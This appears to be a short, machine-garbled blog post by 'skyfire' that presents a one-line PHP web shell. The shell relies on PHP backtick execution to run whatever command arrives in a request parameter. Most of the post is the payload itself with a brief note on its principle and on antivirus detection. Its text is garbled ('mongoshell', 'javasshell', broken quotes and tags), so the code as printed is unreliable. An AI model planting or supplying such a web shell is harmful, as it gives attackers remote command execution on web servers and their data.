PHP one-sentence mongoshell (non-one-sentence Trojan)

CopyCodeThe Code is as follows: <? PHP
/* A new PHP one-sentence javasshell (not a one-sentence Trojan)
// Principle: If you encounter a character ''during PHP running ~ The lower key of the symbol) will always try to execute the commands contained in ''and return the command execution result (string type );
// Limitations: the signature is obvious, and ''is rarely used in PHP. Anti-virus software can easily scan for and trigger alarms using this signature;'' cannot execute PHP code;
// Write by skyfire
*/
Echo '$ _ request [ID]';
?>